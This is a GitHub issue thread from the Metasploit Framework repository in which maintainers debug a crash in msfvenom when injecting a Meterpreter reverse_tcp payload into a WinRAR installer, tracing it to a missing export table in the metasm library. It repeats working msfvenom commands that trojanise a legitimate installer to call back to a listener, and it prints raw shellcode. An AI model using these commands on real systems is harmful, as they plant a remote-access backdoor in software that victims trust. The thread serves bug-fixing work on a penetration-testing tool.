rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
33.72k stars 13.89k forks source link

undefined method 'map' for nil:NilClass #9867

Closed kkarl-dec closed 3 years ago

kkarl-dec commented 6 years ago

Steps to reproduce

exe file is winrar.exe for www.winrar.com.cn the newest use command: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.11.133 LPORT=8090 -x winrar.exe -k -f exe -o winrar_new.exe

kali linuxe 2018 1a x86 and x64 the problem all occured

Expected behavior

the payload is added to the exe file

Current behavior

No platform was selected, choosing Msf::Module::Platform::Windows from the payload No Arch selected, selecting Arch: x86 from the payload No encoders or badchars specified, outputing raw payload Payload size:333 bytes Error: undefined method 'map' for nil:NilClass Did you mean? tap

System stuff

Metasploit version

4.16-30 dev

I installed Metasploit with:

Kali package via apt

OS

kali linux 2018.1 x86 and x64

if I don't use the command -f exe the command can run successfully however, the payload is not add to the exe I want to add it on the exe, so please tell me how to solve the problem

kkarl-dec commented 6 years ago

can anyone help? thanks

wchen-r7 commented 6 years ago

I'm trying to reproduce this, but can't. Is it possible post the backtrace from ~/.msf4/logs/framework.log? Thanks.

kkarl-dec commented 6 years ago
/usr/share/metasploit-framework/lib/msf/core/module/options.rb:21:in `validate'
/usr/share/metasploit-framework/lib/msf/core/encoded_payload.rb:64:in `generate'
/usr/share/metasploit-framework/lib/msf/core/encoded_payload.rb:25:in `create'
/usr/share/metasploit-framework/lib/msf/base/simple/payload.rb:53:in `generate_simple'
/usr/share/metasploit-framework/lib/msf/base/simple/payload.rb:138:in `generate_simple'
/usr/share/metasploit-framework/lib/msf/core/payload_generator.rb:395:in `generate_raw_payload'
/usr/share/metasploit-framework/lib/msf/core/payload_generator.rb:341:in `generate_payload'
/usr/bin/msfvenom:332:in `<main>'
[04/12/2018 04:18:23] [e(0)] core: NoMethodError : undefined method `map' for nil:NilClass
Did you mean?  tap

this is the backtrace. can you reproduce it now?

bcoles commented 6 years ago

I can reproduce this issue with the latest version of msfvenom and the latest version of winrar from winrar.com.cn; using Ruby 2.3.0 (rvm).

root@kali:/pentest/exploit/metasploit-framework# wget 'http://www.winrar.com.cn/download/winrar-x64-550scp.exe'
--2018-05-16 13:10:01--  http://www.winrar.com.cn/download/winrar-x64-550scp.exe
Resolving www.winrar.com.cn (www.winrar.com.cn)... 121.12.98.85
Connecting to www.winrar.com.cn (www.winrar.com.cn)|121.12.98.85|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2350472 (2.2M) [application/octet-stream]
Saving to: `winrar-x64-550scp.exe'

100%[======================================================================>] 2,350,472    141K/s   in 16s     

2018-05-16 13:10:17 (147 KB/s) - `winrar-x64-550scp.exe' saved [2350472/2350472]

x86 payload; x64 binary

root@kali:/pentest/exploit/metasploit-framework# ./msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.11.133 LPORT=8090 -x winrar-x64-550scp.exe -k -f exe -o winrar_new.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Error: undefined method `map' for nil:NilClass
Did you mean?  tap

x64 payload; x64 binary

root@kali:/pentest/exploit/metasploit-framework# ./msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.11.133 LPORT=8090 -x winrar-x64-550scp.exe -k -f exe -o winrar_new.exe -a x64
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Error: undefined method `map' for nil:NilClass
Did you mean?  tap

Framework.log; x86 payload; x64 binary

[05/16/2018 13:10:46] [e(0)] core: NoMethodError : undefined method `map' for nil:NilClass
Did you mean?  tap
/usr/local/rvm/gems/ruby-2.3.0/gems/metasm-1.0.3/metasm/exe_format/coff_encode.rb:83:in `encode'
/usr/local/rvm/gems/ruby-2.3.0/gems/metasm-1.0.3/metasm/exe_format/coff_encode.rb:374:in `encode_exports'
/usr/local/rvm/gems/ruby-2.3.0/gems/metasm-1.0.3/metasm/exe_format/coff_encode.rb:716:in `encode'
/usr/local/rvm/gems/ruby-2.3.0/gems/metasm-1.0.3/metasm/exe_format/main.rb:196:in `encode_string'
/pentest/exploit/metasploit-framework/lib/msf/core/exe/segment_injector.rb:184:in `generate_pe'
/pentest/exploit/metasploit-framework/lib/msf/util/exe.rb:254:in `to_win32pe'
/pentest/exploit/metasploit-framework/lib/msf/util/exe.rb:2118:in `to_executable_fmt'
/pentest/exploit/metasploit-framework/lib/msf/core/payload_generator.rb:306:in `format_payload'
/pentest/exploit/metasploit-framework/lib/msf/core/payload_generator.rb:368:in `generate_payload'
./msfvenom:369:in `<main>'

Framework.log; x64 payload; x64 binary

[05/16/2018 13:12:56] [e(0)] core: NoMethodError : undefined method `map' for nil:NilClass
Did you mean?  tap
/usr/local/rvm/gems/ruby-2.3.0/gems/metasm-1.0.3/metasm/exe_format/coff_encode.rb:83:in `encode'
/usr/local/rvm/gems/ruby-2.3.0/gems/metasm-1.0.3/metasm/exe_format/coff_encode.rb:374:in `encode_exports'
/usr/local/rvm/gems/ruby-2.3.0/gems/metasm-1.0.3/metasm/exe_format/coff_encode.rb:716:in `encode'
/usr/local/rvm/gems/ruby-2.3.0/gems/metasm-1.0.3/metasm/exe_format/main.rb:196:in `encode_string'
/pentest/exploit/metasploit-framework/lib/msf/core/exe/segment_injector.rb:184:in `generate_pe'
/pentest/exploit/metasploit-framework/lib/msf/util/exe.rb:608:in `to_win64pe'
/pentest/exploit/metasploit-framework/lib/msf/util/exe.rb:2120:in `to_executable_fmt'
/pentest/exploit/metasploit-framework/lib/msf/core/payload_generator.rb:306:in `format_payload'
/pentest/exploit/metasploit-framework/lib/msf/core/payload_generator.rb:368:in `generate_payload'
./msfvenom:369:in `<main>'
wvu commented 6 years ago

Did you mean? tap

y u so friendly, Ruby?

gwillcox-r7 commented 4 years ago

Hmm seems this issue is still occurring, even two years later and with a newer version of the WinRar installer:

$ ./msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.11.133 LPORT=8090 -x winrar-x64-590scp.exe -k -f exe -o winrar_new.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Error: undefined method `map' for nil:NilClass
$ ./msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 LHOST=192.168.11.133 LPORT=
8090 -x winrar-x64-590scp.exe -k -f exe -o winrar_new.exe
No encoder specified, outputting raw payload
Error: undefined method `map' for nil:NilClass

Interestingly and as I suspected, the behavior appears to be due to the use of the -k argument, as omitting this seems to solve things:

./msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 LHOST=192.168.11.133 LPORT=8090 -x winrar-x64-590scp.exe -f exe -o winrar_new.exe
No encoder specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 3344752 bytes
Saved as: winrar_new.exe

Will see if I can't figure out why this is the case.

gwillcox-r7 commented 4 years ago

Possibility that the :secname variable here shouldn't be nil:

From: /home/gwillcox/git/metasploit-framework/lib/msf/util/exe.rb:256 Msf::Util::EXE.to_win32pe:

    251:           :template => opts[:template],
    252:           :arch     => :x86,
    253:           :secname  => opts[:secname]
    254:       })
    255:       require 'pry'; binding.pry
 => 256:       return injector.generate_pe
    257:     end
    258:
    259:     text = nil
    260:     pe.sections.each {|sec| text = sec if sec.name == ".text"}
    261:

[1] pry(Msf::Util::EXE)> injector
=> #<Msf::Exe::SegmentInjector:0x00007ff0ae3a43b8
 @arch=:x86,
 @buffer_register="edx",
 @payload=
  "\xFC\xE8\x82\x00\x00\x00`\x89\xE51\xC0d\x8BP0\x8BR\f\x8BR\x14\x8Br(\x0F\xB7J&1\xFF\xAC<a|\x02, \xC1\xCF\r\x01\xC7\xE2\xF2RW\x8BR\x10\x8BJ<\x8BL\x11x\xE3H\x01\xD1Q\x8BY \x01\xD3\x8BI\x18\xE3:I\x8B4\x8B\x01\xD61\xFF\xAC\xC1\xCF\r\x01\xC78\xE0u\xF6\x03}\xF8;}$u\xE4X\x8BX$\x01\xD3f\x8B\fK\x8BX\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89D$$[[aYZQ\xFF\xE0__Z\x8B\x12\xEB\x8D]h32\x00\x00hws2_ThLw&\a\x89\xE8\xFF\xD0\xB8\x90\x01\x00\x00)\xC4TPh)\x80k\x00\xFF\xD5j\nh\xC0\xA8\v\x85h\x02\x00\x1F\x9A\x89\xE6PPPP@P@Ph\xEA\x0F\xDF\xE0\xFF\xD5\x97j\x10VWh\x99\xA5ta\xFF\xD5\x85\xC0t\n\xFFN\bu\xEC\xE8g\x00\x00\x00j\x00j\x04VWh\x02\xD9\xC8_\xFF\xD5\x83\xF8\x00~6\x8B6j@h\x00\x10\x00\x00Vj\x00hX\xA4S\xE5\xFF\xD5\x93Sj\x00VSWh\x02\xD9\xC8_\xFF\xD5\x83\xF8\x00}(Xh\x00@\x00\x00j\x00Ph\v/\x0F0\xFF\xD5WhunMa\xFF\xD5^^\xFF\f$\x0F\x85p\xFF\xFF\xFF\xE9\x9B\xFF\xFF\xFF\x01\xC3)\xC6u\xC1\xC3\xBB\xF0\xB5\xA2Vj\x00S\xFF\xD5",
 @secname=nil,
 @template="./winrar-x64-590scp.exe">
[2] pry(Msf::Util::EXE)>

Reason for this is that if we look at payload_generator.rb we can clearly see that it should be set at the very least to a blank string:

   def initialize(opts={})
      ....
      @secname    = opts.fetch(:secname, '')
      ...

We can also see this definition for exe_options in lib/msf/core/payload_generator.rb where we set the value of opts[:secname]:

    # This returns a hash for the exe format generation of payloads
    # @return [Hash] The hash needed for generating an executable format
    def exe_options
      opts = { inject: keep }
      unless template.blank?
        opts[:template_path] = File.dirname(template)
        opts[:template]      = File.basename(template)
      end
      unless secname.blank?
        opts[:secname]       = secname
      end
      opts
    end

As for what line appears to be failing, the last line of the following snippet seems to be the culprit. Seems the global exports inside the metasm-1.0.4 gem is somehow becoming nil:

    class ExportDirectory
        # encodes an export directory
        def encode(coff)
            edata = {}
            %w[edata addrtable namptable ord_table libname nametable].each { |name|
                edata[name] = EncodedData.new
            }
            label = lambda { |n| coff.label_at(edata[n], 0, n) }
            rva = lambda { |n| Expression[label[n], :-, coff.label_at(coff.encoded, 0)] }
            rva_end = lambda { |n| Expression[[label[n], :-, coff.label_at(coff.encoded, 0)], :+, edata[n].virtsize] }

            # ordinal base: smallest number > 1 to honor ordinals, minimize gaps
            olist = @exports.map { |e| e.ordinal }.compact

If we trace this further it appears that there is somehow an error whereby the exports info is not propagated correctly, as encode_exports from coff_encode.rb within metasm-1.0.4 will call @export.encode. If we check @export here we can see that this is a valid exports object.

From: /home/gwillcox/.rvm/gems/ruby-2.6.6@metasploit-framework/gems/metasm-1.0.4/metasm/exe_format/coff_encode.rb:378 Metasm::COFF#encode_exports:

    376: def encode_exports
    377:        require 'pry'; binding.pry
 => 378:        edata = @export.encode self
    379:
    380:        # must include name tables (for forwarders)
    381:        @directory['export_table'] = [label_at(edata, 0, 'export_table'), edata.virtsize]
    382:
    383:        s = Section.new
    384:        s.name = '.edata'
    385:        s.encoded = edata
    386:        s.characteristics = %w[MEM_READ]
    387:        encode_append_section s
    388: end

[1] pry(#<Metasm::PE>)> @export
=> #<Metasm::COFF::ExportDirectory:0x00007fb30ee2ed48
 @func_p=0,
 @libname="sfxrar.exe",
 @libname_p=284968,
 @names_p=0,
 @num_exports=0,
 @num_names=0,
 @ord_p=0,
 @ordinal_base=1,
 @reserved=0,
 @timestamp=1585216983,
 @version_major=0,
 @version_minor=0>

Now lets try look inside the @export.encode method:

[2] pry(#<Metasm::PE>)> next

From: /home/gwillcox/.rvm/gems/ruby-2.6.6@metasploit-framework/gems/metasm-1.0.4/metasm/exe_format/coff_encode.rb:75 Metasm::COFF::ExportDirectory#encode:

    70:
    71:         class ExportDirectory
    72:                 # encodes an export directory
    73:                 def encode(coff)
    74:                         require 'pry'; binding.pry
 => 75:                         edata = {}
    76:                         %w[edata addrtable namptable ord_table libname nametable].each { |name|
    77:                                 edata[name] = EncodedData.new
    78:                         }
    79:                         label = lambda { |n| coff.label_at(edata[n], 0, n) }
    80:                         rva = lambda { |n| Expression[label[n], :-, coff.label_at(coff.encoded, 0)] }

[2] pry(#<Metasm::COFF::ExportDirectory>)> @exports
=> nil
[3] pry(#<Metasm::COFF::ExportDirectory>)> coff
=> <Metasm::ExeFormat coff @3ffff1607d8c>
[4] pry(#<Metasm::COFF::ExportDirectory>)> coff.export
=> #<Metasm::COFF::ExportDirectory:0x00007fb30ee2ed48
 @func_p=0,
 @libname="sfxrar.exe",
 @libname_p=284968,
 @names_p=0,
 @num_exports=0,
 @num_names=0,
 @ord_p=0,
 @ordinal_base=1,
 @reserved=0,
 @timestamp=1585216983,
 @version_major=0,
 @version_minor=0>
[5] pry(#<Metasm::COFF::ExportDirectory>)> 

Huh thats interesting, so the global variable @export within it is nil, yet the coff parameter is the same as earlier. Remember we were failing on this line within the same function:

# ordinal base: smallest number > 1 to honor ordinals, minimize gaps
olist = @exports.map { |e| e.ordinal }.compact

Looking at the EXE we are trying to use its also possible its failing cause the code is always trying to encode the export table, even if the program never exports any functions....which is odd behavior to say the least.

gwillcox-r7 commented 4 years ago

Hmm I wonder if this whole functionality was originally designed for DLLs which are treated the same as DLLs in that the same underlying to_win32pe function is called. Take a look at the following where I run the same command against a DLL with exports and it works fine:

./msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 LHOST=192.168.11.133 LPORT=8090 -x bicrt.dll  -k --sec-name test -f dll -o winrar_new.dll

From: /home/gwillcox/.rvm/gems/ruby-2.6.6@metasploit-framework/gems/metasm-1.0.4/metasm/exe_format/main.rb:197 Metasm::ExeFormat#encode_string:

    195: def encode_string(*a)
    196:        require 'pry'; binding.pry
 => 197:        encode(*a)
    198:        raise ["Unresolved relocations:", @encoded.reloc.map { |o, r| "#{r.target} " + (Backtrace.backtrace_str(r.backtrace) if r.backtrace).to_s }].join("\n") if not @encoded.reloc.empty?
    199:        @encoded.data
    200: end

[1] pry(#<Metasm::Shellcode>)> continue
No encoder specified, outputting raw payload

From: /home/gwillcox/git/metasploit-framework/lib/msf/core/payload_generator.rb:339 Msf::PayloadGenerator#format_payload:

    334:           end
    335:         when *::Msf::Simple::Buffer.transform_formats
    336:           ::Msf::Simple::Buffer.transform(shellcode, format, @var_name, encryption_opts)
    337:       when *::Msf::Util::EXE.to_executable_fmt_formats
    338:           require 'pry'; binding.pry
 => 339:           ::Msf::Util::EXE.to_executable_fmt(framework, arch, platform_list, shellcode, format, exe_options)
    340:         else
    341:           raise InvalidFormat, "you have selected an invalid payload format"
    342:       end
    343:     end
    344:

[1] pry(#<Msf::PayloadGenerator>)> continue

From: /home/gwillcox/git/metasploit-framework/lib/msf/util/exe.rb:256 Msf::Util::EXE.to_win32pe:

    251:           :template => opts[:template],
    252:           :arch     => :x86,
    253:           :secname  => opts[:secname]
    254:       })
    255:       require 'pry'; binding.pry
 => 256:       return injector.generate_pe
    257:     end
    258:
    259:     text = nil
    260:     pe.sections.each {|sec| text = sec if sec.name == ".text"}
    261:

[1] pry(Msf::Util::EXE)> opts
=> {:inject=>true, :template_path=>".", :template=>"./bicrt.dll", :secname=>"test", :exe_type=>:dll}
[2] pry(Msf::Util::EXE)> conintue
NameError: undefined local variable or method `conintue' for Msf::Util::EXE:Class
from (pry):2:in `to_win32pe'
[3] pry(Msf::Util::EXE)> continue

From: /home/gwillcox/git/metasploit-framework/lib/msf/core/exe/segment_injector.rb:186 Msf::Exe::SegmentInjector#generate_pe:

    181:       # Change the entrypoint to our new section
    182:       pe.optheader.entrypoint = 'hook_entrypoint'
    183:       pe.cpu = pe_orig.cpu
    184:
    185:       require 'pry'; binding.pry
 => 186:       pe.encode_string
    187:     end
    188:
    189:     # @param pe [Metasm::PE]
    190:     # @return [String] assembly code to place at the entrypoint. Will be empty
    191:     #   for non-DLL executables.

[1] pry(#<Msf::Exe::SegmentInjector>)> c
NameError: undefined local variable or method `c' for #<Msf::Exe::SegmentInjector:0x00007fffcc059bb8>
from (pry):3:in `generate_pe'
[2] pry(#<Msf::Exe::SegmentInjector>)> continue

From: /home/gwillcox/.rvm/gems/ruby-2.6.6@metasploit-framework/gems/metasm-1.0.4/metasm/exe_format/main.rb:197 Metasm::ExeFormat#encode_string:

    195: def encode_string(*a)
    196:        require 'pry'; binding.pry
 => 197:        encode(*a)
    198:        raise ["Unresolved relocations:", @encoded.reloc.map { |o, r| "#{r.target} " + (Backtrace.backtrace_str(r.backtrace) if r.backtrace).to_s }].join("\n") if not @encoded.reloc.empty?
    199:        @encoded.data
    200: end

[1] pry(#<Metasm::PE>)> continue

From: /home/gwillcox/.rvm/gems/ruby-2.6.6@metasploit-framework/gems/metasm-1.0.4/metasm/exe_format/coff_encode.rb:378 Metasm::COFF#encode_exports:

    376: def encode_exports
    377:        require 'pry'; binding.pry
 => 378:        edata = @export.encode self
    379:
    380:        # must include name tables (for forwarders)
    381:        @directory['export_table'] = [label_at(edata, 0, 'export_table'), edata.virtsize]
    382:
    383:        s = Section.new
    384:        s.name = '.edata'
    385:        s.encoded = edata
    386:        s.characteristics = %w[MEM_READ]
    387:        encode_append_section s
    388: end

[1] pry(#<Metasm::PE>)> @export
=> #<Metasm::COFF::ExportDirectory:0x00007fec4c4b1de8
 @exports=
  [#<Metasm::COFF::ExportDirectory::Export:0x00007fec4ceae418
    @name="??0__non_rtti_object@@QAE@ABV0@@Z",
    @name_p=200360,
    @ordinal=1,
    @target="__0__non_rtti_object__QAE_ABV0__Z",
    @target_rva=25987>,
   #<Metasm::COFF::ExportDirectory::Export:0x00007fec4ceae3f0
    @name="??0__non_rtti_object@@QAE@PBD@Z",
    @name_p=200394,
    @ordinal=2,
    @target="__0__non_rtti_object__QAE_PBD_Z",
    @target_rva=25953>,
   #<Metasm::COFF::ExportDirectory::Export:0x00007fec4ceae3c8
    @name="??0bad_cast@@QAE@ABQBD@Z",
    @name_p=200426,
    @ordinal=3,
    @target="__0bad_cast__QAE_ABQBD_Z",
    @target_rva=25730>,
   #<Metasm::COFF::ExportDirectory::Export:0x00007fec4ceae3a0
    @name="??0bad_cast@@QAE@ABV0@@Z",
    @name_p=200451,
    @ordinal=4,
    @target="__0bad_cast__QAE_ABV0__Z",
    @target_rva=25754>,
   #<Metasm::COFF::ExportDirectory::Export:0x00007fec4ceae378
    @name="??0bad_typeid@@QAE@ABV0@@Z",
    @name_p=200476,
    @ordinal=5,
    @target="__0bad_typeid__QAE_ABV0__Z",
    @target_rva=25878>,
   #<Metasm::COFF::ExportDirectory::Export:0x00007fec4ceae350
    @name="??0bad_typeid@@QAE@PBD@Z",
[2] pry(#<Metasm::PE>)> continue

From: /home/gwillcox/.rvm/gems/ruby-2.6.6@metasploit-framework/gems/metasm-1.0.4/metasm/exe_format/coff_encode.rb:75 Metasm::COFF::ExportDirectory#encode:

    70:
    71:         class ExportDirectory
    72:                 # encodes an export directory
    73:                 def encode(coff)
    74:                         require 'pry'; binding.pry
 => 75:                         edata = {}
    76:                         %w[edata addrtable namptable ord_table libname nametable].each { |name|
    77:                                 edata[name] = EncodedData.new
    78:                         }
    79:                         label = lambda { |n| coff.label_at(edata[n], 0, n) }
    80:                         rva = lambda { |n| Expression[label[n], :-, coff.label_at(coff.encoded, 0)] }

[1] pry(#<Metasm::COFF::ExportDirectory>)> next

From: /home/gwillcox/.rvm/gems/ruby-2.6.6@metasploit-framework/gems/metasm-1.0.4/metasm/exe_format/coff_encode.rb:76 Metasm::COFF::ExportDirectory#encode:

    71:         class ExportDirectory
    72:                 # encodes an export directory
    73:                 def encode(coff)
    74:                         require 'pry'; binding.pry
    75:                         edata = {}
 => 76:                         %w[edata addrtable namptable ord_table libname nametable].each { |name|
    77:                                 edata[name] = EncodedData.new
    78:                         }
    79:                         label = lambda { |n| coff.label_at(edata[n], 0, n) }
    80:                         rva = lambda { |n| Expression[label[n], :-, coff.label_at(coff.encoded, 0)] }
    81:                         rva_end = lambda { |n| Expression[[label[n], :-, coff.label_at(coff.encoded, 0)], :+, edata[n].virtsize] }

[1] pry(#<Metasm::COFF::ExportDirectory>)> next

From: /home/gwillcox/.rvm/gems/ruby-2.6.6@metasploit-framework/gems/metasm-1.0.4/metasm/exe_format/coff_encode.rb:79 Metasm::COFF::ExportDirectory#encode:

    74:                         require 'pry'; binding.pry
    75:                         edata = {}
    76:                         %w[edata addrtable namptable ord_table libname nametable].each { |name|
    77:                                 edata[name] = EncodedData.new
    78:                         }
 => 79:                         label = lambda { |n| coff.label_at(edata[n], 0, n) }
    80:                         rva = lambda { |n| Expression[label[n], :-, coff.label_at(coff.encoded, 0)] }
    81:                         rva_end = lambda { |n| Expression[[label[n], :-, coff.label_at(coff.encoded, 0)], :+, edata[n].virtsize] }
    82:
    83:                         # ordinal base: smallest number > 1 to honor ordinals, minimize gaps
    84:                         olist = @exports.map { |e| e.ordinal }.compact

[1] pry(#<Metasm::COFF::ExportDirectory>)> next

From: /home/gwillcox/.rvm/gems/ruby-2.6.6@metasploit-framework/gems/metasm-1.0.4/metasm/exe_format/coff_encode.rb:80 Metasm::COFF::ExportDirectory#encode:

    75:                         edata = {}
    76:                         %w[edata addrtable namptable ord_table libname nametable].each { |name|
    77:                                 edata[name] = EncodedData.new
    78:                         }
    79:                         label = lambda { |n| coff.label_at(edata[n], 0, n) }
 => 80:                         rva = lambda { |n| Expression[label[n], :-, coff.label_at(coff.encoded, 0)] }
    81:                         rva_end = lambda { |n| Expression[[label[n], :-, coff.label_at(coff.encoded, 0)], :+, edata[n].virtsize] }
    82:
    83:                         # ordinal base: smallest number > 1 to honor ordinals, minimize gaps
    84:                         olist = @exports.map { |e| e.ordinal }.compact
    85:                         # start with lowest ordinal, substract all exports unused to fill ordinal sequence gaps

[1] pry(#<Metasm::COFF::ExportDirectory>)> @exports
=> [#<Metasm::COFF::ExportDirectory::Export:0x00007fec4ceae418
  @name="??0__non_rtti_object@@QAE@ABV0@@Z",
  @name_p=200360,
  @ordinal=1,
  @target="__0__non_rtti_object__QAE_ABV0__Z",
  @target_rva=25987>,
 #<Metasm::COFF::ExportDirectory::Export:0x00007fec4ceae3f0
  @name="??0__non_rtti_object@@QAE@PBD@Z",
  @name_p=200394,
  @ordinal=2,
  @target="__0__non_rtti_object__QAE_PBD_Z",
  @target_rva=25953>,
 #<Metasm::COFF::ExportDirectory::Export:0x00007fec4ceae3c8
  @name="??0bad_cast@@QAE@ABQBD@Z",
  @name_p=200426,
  @ordinal=3,
  @target="__0bad_cast__QAE_ABQBD_Z",
  @target_rva=25730>,
 #<Metasm::COFF::ExportDirectory::Export:0x00007fec4ceae3a0
  @name="??0bad_cast@@QAE@ABV0@@Z",
  @name_p=200451,
  @ordinal=4,
  @target="__0bad_cast__QAE_ABV0__Z",
  @target_rva=25754>,
 #<Metasm::COFF::ExportDirectory::Export:0x00007fec4ceae378
  @name="??0bad_typeid@@QAE@ABV0@@Z",
  @name_p=200476,
  @ordinal=5,
  @target="__0bad_typeid__QAE_ABV0__Z",
  @target_rva=25878>,
 #<Metasm::COFF::ExportDirectory::Export:0x00007fec4ceae350
  @name="??0bad_typeid@@QAE@PBD@Z",
  @name_p=200503,
  @ordinal=6,
[2] pry(#<Metasm::COFF::ExportDirectory>)> continue
Payload size: 341 bytes
Final size of dll file: 272896 bytes
Saved as: winrar_new.dll

A final test would be to see if this still works on a DLL with no exports at all...

gwillcox-r7 commented 4 years ago

Hmm yeah seems like the -k argument is expecting a DLL as input, as even if we supply a DLL that I compiled that has no exports it works fine:

 ./msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 LHOST=192.168.11.133 LPORT=8090 -x Dll1.dll  -k --sec-name test -f dll -o winrar_new2.dll

From: /home/gwillcox/.rvm/gems/ruby-2.6.6@metasploit-framework/gems/metasm-1.0.4/metasm/exe_format/main.rb:197 Metasm::ExeFormat#encode_string:

    195: def encode_string(*a)
    196:        require 'pry'; binding.pry
 => 197:        encode(*a)
    198:        raise ["Unresolved relocations:", @encoded.reloc.map { |o, r| "#{r.target} " + (Backtrace.backtrace_str(r.backtrace) if r.backtrace).to_s }].join("\n") if not @encoded.reloc.empty?
    199:        @encoded.data
    200: end

[1] pry(#<Metasm::Shellcode>)> continue
No encoder specified, outputting raw payload

From: /home/gwillcox/git/metasploit-framework/lib/msf/core/payload_generator.rb:339 Msf::PayloadGenerator#format_payload:

    334:           end
    335:         when *::Msf::Simple::Buffer.transform_formats
    336:           ::Msf::Simple::Buffer.transform(shellcode, format, @var_name, encryption_opts)
    337:       when *::Msf::Util::EXE.to_executable_fmt_formats
    338:           require 'pry'; binding.pry
 => 339:           ::Msf::Util::EXE.to_executable_fmt(framework, arch, platform_list, shellcode, format, exe_options)
    340:         else
    341:           raise InvalidFormat, "you have selected an invalid payload format"
    342:       end
    343:     end
    344:

[1] pry(#<Msf::PayloadGenerator>)> continue

From: /home/gwillcox/git/metasploit-framework/lib/msf/util/exe.rb:256 Msf::Util::EXE.to_win32pe:

    251:           :template => opts[:template],
    252:           :arch     => :x86,
    253:           :secname  => opts[:secname]
    254:       })
    255:       require 'pry'; binding.pry
 => 256:       return injector.generate_pe
    257:     end
    258:
    259:     text = nil
    260:     pe.sections.each {|sec| text = sec if sec.name == ".text"}
    261:

[1] pry(Msf::Util::EXE)> continue

From: /home/gwillcox/git/metasploit-framework/lib/msf/core/exe/segment_injector.rb:186 Msf::Exe::SegmentInjector#generate_pe:

    181:       # Change the entrypoint to our new section
    182:       pe.optheader.entrypoint = 'hook_entrypoint'
    183:       pe.cpu = pe_orig.cpu
    184:
    185:       require 'pry'; binding.pry
 => 186:       pe.encode_string
    187:     end
    188:
    189:     # @param pe [Metasm::PE]
    190:     # @return [String] assembly code to place at the entrypoint. Will be empty
    191:     #   for non-DLL executables.

[1] pry(#<Msf::Exe::SegmentInjector>)> continue

From: /home/gwillcox/.rvm/gems/ruby-2.6.6@metasploit-framework/gems/metasm-1.0.4/metasm/exe_format/main.rb:197 Metasm::ExeFormat#encode_string:

    195: def encode_string(*a)
    196:        require 'pry'; binding.pry
 => 197:        encode(*a)
    198:        raise ["Unresolved relocations:", @encoded.reloc.map { |o, r| "#{r.target} " + (Backtrace.backtrace_str(r.backtrace) if r.backtrace).to_s }].join("\n") if not @encoded.reloc.empty?
    199:        @encoded.data
    200: end

[1] pry(#<Metasm::PE>)> continue
Payload size: 341 bytes
Final size of dll file: 39424 bytes
Saved as: winrar_new2.dll
github-actions[bot] commented 3 years ago

Hi!

This issue has been left open with no activity for a while now.

We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

gwillcox-r7 commented 3 years ago

Alright looks like the root issue is raised by this specific line within metasm-1.0.4/metasm/exe_format/coff_encode.rb, which seems to be occurring due to @exports being nil. So I guess the code is expecting a file with exports to be available and if it doesn't get that as a template then when we use the -k flag it will fall over and fail with a nil error.

    82:             # ordinal base: smallest number > 1 to honor ordinals, minimize gaps
 => 83:             olist = @exports.map { |e| e.ordinal }.compact

Edit: Seems like this is also occurring without the -k flag, just with the lib/msf/core/exe/segment_appender.rb file when it calls pe.encode_string on line 50 vs lib/msf/core/exe/segment_injector.rb being the issue.

umeshhamal967 commented 3 years ago

Screenshot_2021-02-24-19-59-51-92_84d3000e3f4017145260f7618db1d683.jpg I am getting this error while binding the payload to an apk using msfvenom Ruby version:ruby 2.7.2p137 Metasploit Framework VERSION:ruby 2.7.2p137 Apktool version:v2.3.4 Cpu architecture:aarch64